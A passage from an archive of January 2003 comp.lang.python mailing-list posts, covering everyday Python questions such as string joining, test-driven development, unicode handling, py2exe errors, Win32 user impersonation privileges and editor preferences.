    several_instances_of_spam = [Spam() for i in range(several)]
    for spam_index in xrange(len(several_instances_of_spam):
        spam_instance = several_instances_of_spam[spam_index]
        for i in xrange(thousands):
            spam_instance.put_inside_spam(Eggs(spam_index))

and then assuming several_instances_of_spam is global,

    several_instances_of_spam[self.my_container].method_of_containing_object()
and
    several_instances_of_spam[self.my_container].attribute_of_containing_object = value_to_set_check

If you are in control over everything, there are going to be better ways, but it's
not clear whether you are trying to tweak some big stuff you don't want to bother fully
understanding, or whether you have creative control. Either way has its difficulties, but
the latter is usually more fun, unless you run up a blind alley with a deadline and no ideas ;-)

Regards,
Bengt Richter



From peter at engcorp.com  Fri Jan 24 16:41:59 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 16:41:59 -0500
Subject: Sharing method code between class instances
References: <tPydnYzWiJs2-qyjXTWcpg@comcast.com> <mailman.1043431123.18821.python-list@python.org>
Message-ID: <3E31B327.7BC36E66@engcorp.com>

Jp Calderone wrote:
> 
> On Fri, Jan 24, 2003 at 10:19:53AM -0600, Larry Bates wrote:
> > I have a question about how to share code between classes.  I've searched
> > and just can't find anything that is clear enough for me to understand.
> >
> > Consider: I have a simple class that will hold a field and formatting
> > (and eventually much more) information.
> >
> > [snip]
> 
>   Code first.  Test second.  Profile third.  Optimize last.

Or, better yet, Test First, Code Second, Pass Test, Write another Test, 
Run it and Watch it Fail, Write a Little More Code, Pass Test, Write 
Another Failing Test, and so on....

It's called Test-Driven Development and it beats the pants off the 
Code First Test Second approach which I've seen used on so many projects, 
where No Time to Test became the situation just prior to the ship date, 
that I refuse ever to work that way again.

;-)

-Peter



From james.kew at btinternet.com  Fri Jan 10 16:25:58 2003
From: james.kew at btinternet.com (James Kew)
Date: Fri, 10 Jan 2003 21:25:58 -0000
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <avi2jc$o0n$1@slb2.atl.mindspring.net> <52719db8.0301082047.287e00b8@posting.google.com> <avj5lr$4jf$1@slb3.atl.mindspring.net> <52719db8.0301092300.2fb666be@posting.google.com>
Message-ID: <avndpg$g2sde$1@ID-71831.news.dfncis.de>

James Huang wrote:
> JudoScript is intended to be
> "scripting and shell for Java", and the assumption is Java will have
> software for most, if not *all*, of our needs.

It's probably this assumption which is causing you to have a rough ride
here.

It's reasonable to assume that many posters here consider that Python meets
their needs better than Java. In particular, Python scratches both
"scripting" and "programming" itches with a single, consistent, clear, and
pleasing syntax.

You now want to herd these contented developers into *two* languages to
solve their problems: Java plus JudoScript. The first may well be a language
they've already considered and rejected; the second is unknown and new. I'm
not surprised you're experiencing some resistance.

To be brutally honest, too, were I considering a shift from Python, I'd be
wary of committing heavily to a language which at the moment seems to be a
one-man-band effort.

--
James Kew
james.kew at btinternet.com





From andrew at indranet.co.nz  Mon Jan 13 18:00:22 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Tue, 14 Jan 2003 12:00:22 +1300
Subject: fast way of turning a list of integers<256 into a string
In-Reply-To: <f57664b9.0301131444.26ca3b43@posting.google.com>
References: <f57664b9.0301131444.26ca3b43@posting.google.com>
Message-ID: <155720000.1042498822@localhost.localdomain>

--On Monday, January 13, 2003 14:44:51 -0800 "Jonathan P." 
<jbperez808 at yahoo.com> wrote:

> s=''
> for i in range(1,255):
>   s+=chr(i)
>
> has horrible performance (primarily due to string
> immutability I think).  Is there a function to do
> the ff. instead:
>
> x=range(1,255)
> list2str(x)
>
> and have x become a string?
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>

''.join(map(chr, range(1,255))) is pretty fast, as is

import array
array.array('B', range(1,255)).tostring()

I haven't profiled to see which is faster.

Andrew






From wurmy at earthlink.net  Sun Jan 19 22:42:29 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Mon, 20 Jan 2003 03:42:29 GMT
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0cugo$97r$1@panix2.panix.com> <i7KdnckAi6lfkLejXTWcog@comcast.com> <Z2DW9.1203$Sv3.158990@newsread1.prod.itd.earthlink.net> <mailman.1043010041.6455.python-list@python.org>
Message-ID: <FeKW9.1818$Sv3.224816@newsread1.prod.itd.earthlink.net>

[me]
>>If the join operation is done by calling a method on the separator, I would 
>>expect the same on the split operation:
>>
>>  " ".split("a b c")
>>  # should yield ["a", "b", "c"]
>>
>>...but for some reason, that didn't make it into the design. ;-)

[Jp Calderone]
>   "A foolish consistency is the hobgoblin of little minds."  -rwe
> 
> [...] So
> why aim for consistency, when we can achieve usefulness instead?

That sounds more like a Perl mantra. ;-)

My point was that nobody in their right mind would implement split like this. 
Not as a method of the (optional!) separator, with the string that's being 
split as an argument.  join works just like that, though.  Yes, I know *why* 
it's done, and I agree that the alternative is even worse.  But it's a kludge 
at best, the lesser evil out of two choices.  I certainly would not call it 
"rational" or "intuitive", no matter how many "illuminati" might try to explain 
its ugliness away.

Cheers,

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html




From nlper at junglemate.com  Fri Jan 31 02:21:19 2003
From: nlper at junglemate.com (Tyler)
Date: 30 Jan 2003 23:21:19 -0800
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <mailman.1043800733.19006.python-list@python.org>
Message-ID: <65d29696.0301302321.6439c897@posting.google.com>

Laura Creighton <lac at strakt.com> wrote in message news:<mailman.1043800733.19006.python-list at python.org>...
 
> When I was working for the Canadian military, we got people working
> on problems and then stuck them in machines which measured blood flow
> in different regions of the brain.  Neither python nor C++ were
> invented then, but C and Lisp were.
> 
> Statistically, C problem solvers were way more active in the
> language-processing-and symbol-manipulation areas of the brain then
> they were in the parts of the brain associated with imagery, drawing,
> and conceptualising.  Lisp problem solvers were more balanced.

As I recall, the rule of thumb is that equalizing blood flow 
is a good thing.

But I wonder where you found all those people who could comfortably 
program in both Lisp and C. If the subjects weren't at least bilingual 
in coding, wouldn't you'd be potentially obscuring the data with 
self-selection issues? That is, inadvertently selecting programmer 
subjects whose problem set preferences led to their preference for 
C, say, and measuring a given blood flow difference because that 
was just the way a subject used the brain in programming in general.

This reminds of the anecdotal correspondence of programming with 
musicians. Ah, so many variables, so little time...

Tyler



From andrew at indranet.co.nz  Sat Jan  4 14:00:28 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Sun, 05 Jan 2003 08:00:28 +1300
Subject: Newbie question on Re module
In-Reply-To: <3E17002B.8E67641E@pobox.com>
References: <Xns92F5826AE2F65jslmAAearthlinknet@130.133.1.4>	
 <cc197b7b.0301040224.554869e7@posting.google.com>
 <mailman.1041678186.20077.python-list@python.org>
 <3E17002B.8E67641E@pobox.com>
Message-ID: <556170000.1041706828@localhost.localdomain>

Ah nuts, that should be str.index

--On Saturday, January 04, 2003 15:39:18 +0000 Tom Zych 
<tztemp14 at pobox.com> wrote:

> Andrew McGregor wrote:
>> if str.index('binaries') == -1:
>>   # then str did not contain the word.
>
> Python 2.2 doesn't return -1 when string.index fails; it raises
> a ValueError exception. Are there older versions of Python that
> return -1?
>
> --
> Tom Zych
> This email address will expire at some point to thwart spammers.
> Permanent address is rot13(gbzmlpu at cbobk.pbz).
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From Padraig at Linux.ie  Thu Jan 16 08:08:28 2003
From: Padraig at Linux.ie (Padraig at Linux.ie)
Date: Thu, 16 Jan 2003 13:08:28 +0000
Subject: Fileselection window of Gnome/GTK
In-Reply-To: <b0597d$ltf34@imsp212.netvigator.com>
References: <b0597d$ltf34@imsp212.netvigator.com>
Message-ID: <%byV9.3275$V6.5153@news.indigo.ie>

Wouter van Marle wrote:
> Hi all!
> 
> I have a problem getting the file selection window working. I don't get
> signals!

An example is always good:
This is pygtk + libglade + python.
http://www.pixelbeat.org/fslint

P?draig




From dglenn at charter.net  Thu Jan 16 07:13:16 2003
From: dglenn at charter.net (Doug Glenn)
Date: Thu, 16 Jan 2003 07:13:16 -0500
Subject: Warning! Newbie issue - Impersonating a user on Win32
In-Reply-To: <3e2650f8_5@corp-goliath.newsgroups.com>
References: <mailman.1042650398.19724.python-list@python.org> <3e2650f8_5@corp-goliath.newsgroups.com>
Message-ID: <200301160713.16811.dglenn@charter.net>

On Thursday 16 January 2003 02:03, Roger Upole wrote:
> The LogonUser works for me on Win2k.
> According to the SDK docs, the calling process needs SE_TCB_NAME
> and "in some cases" SE_CHANGE_NOTIFY_NAME.  You might want to try
> giving yourself both of them before the call.
> Also, the 'foo' user needs SE_INTERACTIVE_LOGON_NAME.

Ok, so let me see if I am clear on this.  I need to adjust the calling 
users priviledges prior to attempting the login? And the login ID needs 
to have a SE_INTERACTIVE_LOGON_NAME.

So far so good :)  Now what would I need to look for in secpol.msc to 
ensure the called user has that priviledge? 

If it is innoculous enough, I can request we can change the policy to 
grant users those particular rights. The SE_TCB_NAME appears 
suspiciously like the permission to run as system process. I am getting 
the errors running as a Admin equivilant myself, so I am wondering how 
your settings look in the local user policy to enable it to work. Would 
it be possible for you to dump that section or send me a screenshot?

I am looking for a solution to launch install programs for our remote 
offices off the WAN without granting them Administrative rights. 

Thank you for the feedback!

-----
Doug




From ajs at ix.netcom.com  Tue Jan 21 20:22:55 2003
From: ajs at ix.netcom.com (Arthur)
Date: Tue, 21 Jan 2003 20:22:55 -0500
Subject: license
Message-ID: <000b01c2c1b4$cb891d30$eb4bf6d1@Arts>

Understanding myself to be in no position to risk provoking an amendment to
someone's decent impression, I'm forced to shut-up.

Clever gambit, Mr. Wells


>Art,

>I'm going to pipe up here and say that, despite all the disagreeing and
>having been attacked on several fronts (I'm disregarding for the moment,
>who is right or wrong about the issue in dispute), you've handled
>yourself very well, and if others can't respect you for *that*, despite
>disagreeing with your POV, then that reflects badly on them, not you.

>Have a nice day,

Cliff







From claird at lairds.com  Sun Jan  5 07:59:49 2003
From: claird at lairds.com (Cameron Laird)
Date: Sun, 05 Jan 2003 12:59:49 -0000
Subject: Distributing Python apps
References: <mailman.1041749787.13374.python-list@python.org>
Message-ID: <v1gb25jf4vnj67@corp.supernews.com>

In article <mailman.1041749787.13374.python-list at python.org>,
David LeBlanc <whisper at oz.net> wrote:
>> In the end, I request that you very capable Python experts give
>> me a way to
>> give my customers a 750 KB app.
			.
			.
			.
>But Python isn't a major software company - it's better! Unlike a typical
Worth repeating.
			.
		[lots more true stuff]
			.
			.
>It's simply not possible to deliver the power, expressiveness and
>flexibility of Python in 750kb including your app. There is no high level
>language that can do that when a GUI is included and the support code has to
>be included in the distribution.
>
>I think people here are ready to assist you in accomplishing what can be
>done, but don't have time to spend on what can't. I regret that the answer
>you want isn't the one that's available. YOU can give your customers a 750kb
>app (if you end up needing that much room!), but the support code is extra
>and there's no way around it no matter what avenue you take unless you're
>willing to put up with what Microsoft allows you.
			.
			.
			.
Disclaimers:  I'm on record as regarding Python as the
single most broadly applicable language, I use Python
daily, I frequently publish Python-related articles.
Moreover, despite doing most of my own work through a
wimpy six-year-old modem that frequently runs around
14.4 K, I regard Python downloads as "modest".  It's Java
and Microsoft stuff that's gross--always 10 megabytes
and up.

HOWEVER, people with a serious interest in how to pack a
useful language, with good GUI capabilities (and get
portability and a fascinating database for free), on a
single floppy, should read about the Tcl-based Starkit
<URL: http://wiki.tcl.tk/starkit >.  Eventually I'll get
around to running a few magazine articles that coher-
ently present its wonders.

In the present case, my personal opinion is that Mr.
Skrzypinski will do fine with a conventional Python
application installer of not much over one megabyte,
or he could hire one of us to work out a simple compres-
sion scheme.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From jwm-python at sentinelchicken.net  Sat Jan 25 22:31:37 2003
From: jwm-python at sentinelchicken.net (Jason Morgan)
Date: Sat, 25 Jan 2003 22:31:37 -0500
Subject: Printing repeatedly on same line
In-Reply-To: <x7vg0d0wb6.fsf@guru.mired.org>
References: <mailman.1043508704.13358.python-list@python.org> <x7vg0d0wb6.fsf@guru.mired.org>
Message-ID: <20030126033137.GA9159@sentinelchicken.net>

On Sat, Jan 25, 2003 at 09:10:48PM +0000, Mike Meyer wrote:
> I know you have better answers, but thought I'd give you an
> explanation for why this is not working.
> 
> Unix terminal output drivers can be set to map carriage return to
> newline (the ocrnl flag on FreeBSD). You probably have that set. I
> don't, and your example worked just fine for me. You need to change
> that setting in your program to make it work properly.

Thanks for the further explainations. Learn something new
every...uh...hour.

Thanks again.

Jason




From u9300103 at mail.lssh.tp.edu.tw  Wed Jan  8 05:35:54 2003
From: u9300103 at mail.lssh.tp.edu.tw (Tiberius Teng)
Date: 8 Jan 2003 02:35:54 -0800
Subject: php vs python
References: <mailman.1041729428.4428.python-list@python.org> <9d791d77.0301060309.67c7d5f8@posting.google.com> <4lvi1v43744lo82btdhkk928vf8db3i40n@4ax.com>
Message-ID: <9d791d77.0301080235.621d6db1@posting.google.com>

Yar3k <programisci_listy at muratorDOTcom.pl> wrote in message news:<4lvi1v43744lo82btdhkk928vf8db3i40n at 4ax.com>...
> >Be sure to check out Spyce (http://spyce.sourceforge.net/) if you want
> >to compare Python with PHP. :)
> 
> Cheetah templates are even better. Check this
> http://www.cheetahtemplate.org/Py10.html

Cheetah isn't flexible enough to include a large chunk of pure Python
code ... Actaully I'm now developing a discussion forum using both
Spyce and Cheetah - with most request-handling code reside in Spyce
files. I use Cheetah templates to generate response HTML files from
the data that Spyce code made from request. I must admit that both of
them are really simple and flexible that made my work relatively easy.



From hancock at anansispaceworks.com  Tue Jan  7 20:36:27 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Wed, 08 Jan 2003 01:36:27 GMT
Subject: Explicit Frustration of the Self
References: <mailman.1041974847.4056.python-list@python.org>
Message-ID: <vgLS9.19647$134.2076132@newsread1.prod.itd.earthlink.net>

Cliff Wells wrote:
> On Sun, 2003-01-05 at 22:34, Delaney, Timothy wrote:
>> > From: DeadWisdom at wisefool.net [mailto:DeadWisdom at wisefool.net]
>> > 
>> > Another thought: how OO is Python?  It allows me to create Objects, I
>> > guess.  But do these objects really have methods?  I don't think so.
>> > Not with the way self acts now.  Right now, you are effectively,
>> > creating functions and then calling them with the first argument
>> > outside of the parenthesis, and to the left of the function, and a
>> > dot.
>> 
>> OK - officially a troll.
> 
> Was it the hairy feet that gave it away?

No, that's hobbits.

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From hancock at anansispaceworks.com  Wed Jan 29 09:35:47 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Wed, 29 Jan 2003 14:35:47 GMT
Subject: Shell chauvinism ;-D, was Re: popen4 doesn't block?
References: <xgkY9.1183$d66.119417@newsread1.prod.itd.earthlink.net> <b0sl7s$33fc$1@nntp6.u.washington.edu> <6LlY9.1314$d66.143806@newsread1.prod.itd.earthlink.net> <mailman.1043465536.2000.python-list@python.org>
Message-ID: <7FRZ9.2637$Wu1.190926@newsread1.prod.itd.earthlink.net>

Jp Calderone wrote:
>   Multi-thousand line programs should probably be written in actual
> programming languages, such as Python.  There's a reason for this,
> discussed below.

There's a lot of reasons. :-D  For one thing, tcsh doesn't even seem to 
have functions -- the best you can do is make each "function" a separate 
file.  Nasty.  I think this is what the bash folks are on about, since bash 
evidently does have functions.

But shell scripts are very concise and clear for simple operations, and it 
is nicer to be able to embed a few commands to do a particular job.  
(Unpack tar file, cd into it, run ./configure, make, make install, and 
sometimes a few other things).

I wound up wrapping the shell execution code into a factory object, so it 
works pretty much like DTMLMethod() or SQL() in Zope now.  A mid-size 
directory holds a group of shell-scripts for installing each package, which 
serves both as program and documentation, since the user can always just 
type the scripts from the shell if they want to do it manually.  I 
abandoned this for the fancy stuff -- instead of using "patch" to fix 
inappropriate upstream makefiles, I just used Python's re module to filter 
them into place.  Works pretty well.

> Python, on the other hand, was designed, in part, to be
> easy to _read_.  This hasn't led to a language that is as easy to type as
> it could be.

In the very simple extreme of scripting a few commands, however, the Python 
is also harder to read, IMHO.  Don't get me wrong, I'm using Python for a 
reason, but I have not found it to be such a strong *scripting* language, 
which I find ironic, since some people seem to think that's what it's for. 
It's like calling the Space Shuttle an airplane, it may be able to glide 
through the air, but that's not what it was made for.

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From martin at v.loewis.de  Mon Jan 20 11:51:36 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 20 Jan 2003 17:51:36 +0100
Subject: Unicode error in exefied Python script
References: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de> <08cg0b.brr.ln@boundary.tundraware.com> <m3lm1g42s6.fsf@mira.informatik.hu-berlin.de> <678h0b.4601.ln@boundary.tundraware.com>
Message-ID: <m3smvn2293.fsf@mira.informatik.hu-berlin.de>

Tim Daneliuk <tundra at tundraware.com> writes:

> Exactly right - So when concatenating strings like I did above,
> Python always promotes the result to the 'higher' type?

Where 'higher' type means the two of the types which is the superset
of the other, in some sense - yes. It is, however, questionable which
of the types is supertype, here, since there are byte strings which
cannot be converted to Unicode, and Unicode strings which cannot be
converted to byte strings.

So for this situation, a special exception from this "always" rule is
made: byte strings are promoted to Unicode strings when the two are
combined.

> This too appears to work as you suggest.  Is there some portable way
> to determine the codepage in use on Win32 and posix systems?

Not really. For Windows only, locale.getlocale()[1] will give that
information. For Unix, this sometimes works, sometimes it
doesn't. Python 2.3 will provide locale.getpreferredencoding, which
should return the user's preferred encoding uniformly.

It will also provide better processing of Unicode file names on
Windows, so that you not need to ever use byte strings as file names.

Regards,
Martin




From andrew-pythonlist at puzzling.org  Fri Jan 17 02:50:44 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 17 Jan 2003 18:50:44 +1100
Subject: Coding standard: Prefixing variables to indicate datatype
In-Reply-To: <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net>
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com> <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net>
Message-ID: <20030117075044.GN3199@frobozz.local>

On Fri, Jan 17, 2003 at 07:02:01AM +0000, root at silmarill.org wrote:
> In article <c76ff6fc.0301161331.27350f1a at posting.google.com>, John Machin wrote:
> > 
> > 2. string.join()???? Are you still using Python 1.5???? Update now!!!!
> 
> I always use string.join because ''.join feels counter-intuitive,
> because you're joining list. Sort of like saying 'bank maria went to'.

I prefer str.join('', [...]) -- the best of both worlds :)

-Andrew.





From andrew.thompson at ashecastle.com  Thu Jan 16 08:00:21 2003
From: andrew.thompson at ashecastle.com (Andrew Thompson)
Date: Thu, 16 Jan 2003 13:00:21 -0000
Subject: Reading / writing...
In-Reply-To: <15910.43370.593213.559080@montanaro.dyndns.org>
Message-ID: <00fc01c2bd5f$3ae95c30$4802a8c0@blair>

Has anyone experienced a file.write() operation not actually writing
anything to a file, although the file pointer moves on... (I was
comparing prior and post seek() values to check how much data was
written)

In the example below, the write() operation works fine if it is preceded
by a seek(), but fails if it is preceded by a read().

My original thought was that the new data simply wasn't yet flush()ed
into the file, but no amount of flush()ing can make the new data arrive
anywhere in the file.  

I am aware of the importance of flush() on all reads() after writes() ,
but cannot find anything in the literature the other way around.

Can anyone help?


Andrew



>>> f=open('test','wb+')
>>> f.write('boo')     #write a simple 3 char string.
>>> f.tell()
3L
>>> f.write('a')       #write a further character
>>> f.seek(0)
>>> f.read(3)      #this all works.
'boo'
>>> f.write('b')   #this write fails, although the file pointer moves
on...
>>> f.seek(3)
>>> f.read(1)       #we still have the original character.
'a' 
>>> f.seek(3)       #trying again, but do a direct seek() first.
>>> f.write('b')
>>> f.seek(3)
>>> f.read(1)
'b'





From bub at joos.us  Fri Jan 17 16:33:21 2003
From: bub at joos.us (Bubba)
Date: Fri, 17 Jan 2003 21:33:21 GMT
Subject: PY2EXE Problem
Message-ID: <ritg2v038p2j7tqeqk6aqt5l7pg5lg9l59@4ax.com>

I get the following, any suggestions


C:\Python22>python setup.py py2exe
Traceback (most recent call last):
  File "setup.py", line 7, in ?
    scripts=["ppjcalendar.py"],)
  File "C:\PYTHON22\distutils\core.py", line 101, in setup
    _setup_distribution = dist = klass(attrs)
  File "C:\PYTHON22\distutils\dist.py", line 130, in __init__
    setattr(self, method_name, getattr(self.metadata, method_name))
AttributeError: DistributionMetadata instance has no attribute
'get___doc__'

C:\Python22>



From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Sun Jan 19 16:24:04 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sun, 19 Jan 2003 22:24:04 +0100
Subject: String methods understanding anything but ASCII?
In-Reply-To: <slrnb2m4mv.sq2.mlh@furu.idi.ntnu.no>
References: <slrnb2m4mv.sq2.mlh@furu.idi.ntnu.no>
Message-ID: <3e2b1774$0$49114$e4fe514c@news.xs4all.nl>

Magnus Lie Hetland wrote:
> I just wondered -- is there hope that string methods such as upper()
> or capitalize() will ever understand anything other than ascii? How
> about, e.g. iso8859-1 (which does seem to be the default encoding)? As
> a Scandinavian, I'd love to see '?'.upper() == '?', for example.

>>> print unicode('?','cp1252').upper().encode('cp1252')
?

You should use the unicode functions to perform operations on
non-ascii characters.

Irmen




From brian at sweetapp.com  Thu Jan 30 03:20:01 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Thu, 30 Jan 2003 00:20:01 -0800
Subject: Updated(new features): KOBRA - .NET for Python
In-Reply-To: <0P3_9.86227$VU6.50724@rwcrnsc52.ops.asp.att.net>
Message-ID: <000701c2c838$629486e0$21795418@dell1700>

Chetan,

Have you decided what license Kobra is going to be released under? And
is the source code going to be available?

Cheers,
Brian 





From gan-zhi at cs.sjtu.edu.cn  Sun Jan  5 07:14:10 2003
From: gan-zhi at cs.sjtu.edu.cn (gan zhi)
Date: Sun, 05 Jan 2003 20:14:10 +0800
Subject: Can emacs support auto complete of python?
Message-ID: <av97bt$2edi$1@mail.cn99.com>

Hi, all

I began to learn python for some weeks. And emacs is my favorite editor.
I think auto completion of property, method etc. is very useful but I
don't konw how to let my emacs support these features.

Any advices are welcome!

Zhi Gan




From edream at tds.net  Fri Jan 10 09:25:12 2003
From: edream at tds.net (Edward K. Ream)
Date: Fri, 10 Jan 2003 14:25:12 GMT
Subject: Too Self Centered
References: <mailman.1041984834.14592.python-list@python.org>
Message-ID: <cJAT9.120989$Hs2.11324366@kent.svc.tds.net>

I sent this two days ago and haven't seen it here.  My apologies if this is
a duplicate

> I'm writing my first real script and running into what appears to be a
> problem. Although this code works perfectly well, it seems to have way too
> many uses of *self.* in it.

I often use the following idiom for methods in Leo:

def spam(self,...):

    v = self
    # Now use v instead of self

The idea is to use one-letter codes for common classes. Leo uses c for
"commanders", f for frames, t for Tk.Text widgets or "tnodes", v for
"vnodes", u for "undoer" objects, etc.  With this idiom, objects of the
class in which the method exists are handled just like all other objects.
It saves typing and makes the type of all objects clear.

One could use:

def spam,(v,...):
    # etc.

instead, but that would violate the coding guidelines (and pychecker would
complain by default).

This scheme is simple, clear, concise, effective.  It has no drawbacks that
I know of.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------





From mis6 at pitt.edu  Tue Jan  7 07:45:11 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 7 Jan 2003 04:45:11 -0800
Subject: Laura's List - was Re: new years resolutions
References: <mailman.1041872080.15063.python-list@python.org>
Message-ID: <2259b0e2.0301070445.698adc9e@posting.google.com>

Ben Leslie <benno at sesgroup.net> wrote in message news:<mailman.1041872080.15063.python-list at python.org>...
> On Sun, 05 Jan 2003, Laura Creighton wrote:
> > 
> > 1. preoccupation with cleverness as opposed to wisdom
> 
> Care to expand on this point? I don't quite get what you mean.
> 

My interpretation: you are wise when you are clever enough that you 
don't need to show it. IOW, if you can, you choose the simple way over
the difficult way. I am sure people on c.l.py would say that
Perl is clever, whereas Python is wise.

Hoping having correcly channeled Laura,

--
Michele Simionato - Dept. of Physics and Astronomy
210 Allen Hall Pittsburgh PA 15260 U.S.A.
Phone: 001-412-624-9041 Fax: 001-412-624-9163
Home-page: http://www.phyast.pitt.edu/~micheles/



From db3l at fitlinxx.com  Mon Jan  6 13:57:50 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 06 Jan 2003 13:57:50 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com>
Message-ID: <uvg12cdht.fsf@fitlinxx.com>

"Greg Brunet" <gbrunet at nospamsempersoft.com> writes:

> I've been checking out Python for a month or so after using VB for many
> years, and having just completed a 4 month VB.NET project.  Here's a few
> observations that I have:

I suppose it's only marginally on track for a Python group, but with
your recent VB -> VB.NET experience, I wonder if you could answer a
question of mine, not having dug deeply into VB.NET yet ...

Does VB.NET make it any easier to separate the logic design of the
application from the GUI layout, or is it further hard-linking the
two, such that you really end up with a bunch of controls with
attached code rather than a coherent application design with a GUI
layer?

I know that you can manually manage your classes (keeping them
distinct from the GUI layout, or implementing everything as COM
objects) in VB to try to control the situation, but it's not the
"normal" design method I've seen developers using.  From your comments
with respect to the strong push for data linked controls, it would
seem like VB.NET is actually going further in the direction I'm not a
big fan of.

That's one of the things I tend to prefer about something like a
Python + wxPython solution (ob. Python reference).  I tend to design
an application sans-GUI, and then implement the GUI as a layer above
the business logic.  This to me improves maintainability of the core
application, as well as making it accessible in non-GUI situations or
in replacement GUI (e.g., web side scripting) environments without any
significant changes - just use the core application interface without
the GUI.  Although true, I agree that none of the current layout tools
for Python quite approach the simplicity and robustness of the VB
environments, which is important when you do get to the GUI layout
stages.

I've always found VB to be an extremely friendly and easy RAD, but
that more often than not, resulted in applications where everything
was tightly linked to the GUI layout - so much so that managing a
structured design for the application logic itself suffered, as did
it's long term maintainability.  I was hoping that perhaps VB.NET
would improve things in that direction, but it sounds like it makes
you work just as hard to keep the GUI isolated from the bulk of the
application logic structure.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From CousinStanley at HotMail.com  Mon Jan 20 09:28:14 2003
From: CousinStanley at HotMail.com (Cousin Stanley)
Date: Mon, 20 Jan 2003 07:28:14 -0700
Subject: Play .wav files
References: <3e2becc7$0$811$4d4ebb8e@news.nl.uu.net>
Message-ID: <b0h0va$p60oi$1@ID-130333.news.dfncis.de>

|| I have found the wave module to read/manipulate/write .wav files. I can look
|| up particular positions/sections of a wave file, but I was wondering how i
|| could play them.

Gumuz ...

The following will play  WAV  files
using Win98 and Python 2.2.1 ...


import winsound

winsound.PlaySound( 'path/whatEver.wav' , winsound.SND_FILENAME )


Cousin Stanley





From max at alcyone.com  Wed Jan 22 21:24:17 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 22 Jan 2003 18:24:17 -0800
Subject: logging module missing in 2.3a1
References: <f9068f8e.0301221602.3d97dbd@posting.google.com>
Message-ID: <3E2F5251.95DBC7BC@alcyone.com>

Janto Dreijer wrote:

> Python 2.3a1 (#38, Dec 31 2002, 17:53:59) [MSC v.1200 32 bit (Intel)]
> on win32
> Type "copyright", "credits" or "license" for more information.
> IDLE 0.8 -- press F1 for help
> >>> import logging
> Traceback (most recent call last):
>   File "<pyshell#0>", line 1, in ?
>     import logging
> ImportError: No module named logging
> >>>
> 
> Eh? Is there something I'm missing?
> Or is the actual code a bit behind wrt the documentation?

I built 2.3a1 myself on Linux, and I have it:

Python 2.3a1 (#1, Jan 19 2003, 23:30:47) 
[GCC egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import logging
>>> logging
<module 'logging' from '/usr/local/lib/python2.3/logging/__init__.pyc'>

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ We're looking for a custom fit in an off-the-rack world.
\__/ Capt. Benjamin "Hawkeye" Pierce
    PyUID / http://www.alcyone.com/pyos/uid/
 A module for generating "unique" IDs in Python.



From paddy3118 at tiscali.co.uk  Sat Jan  4 07:15:39 2003
From: paddy3118 at tiscali.co.uk (Paddy)
Date: Sat, 04 Jan 2003 12:15:39 +0000
Subject: Best Python Editor (under Linux)
In-Reply-To: <0zhR9.7019$Gv4.4628@fe08>
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <87lm23xh06.fsf@gvdnet.dk> <3E159B1A.BE7AC2DD@engcorp.com> <0zhR9.7019$Gv4.4628@fe08>
Message-ID: <3E16D06B.4080302@tiscali.co.uk>

Steve Holden wrote:
> "Peter Hansen" <peter at engcorp.com> wrote ...
> 
>>Martin Christensen wrote:
>>
> [editors, endlessly, again]
> 
>>I'm sure they are highly effective for some people.  Not everyone
>>has need of such a large slate of features.  In fact, over the years
>>I've found I rely on fewer and fewer special functions in my editors,
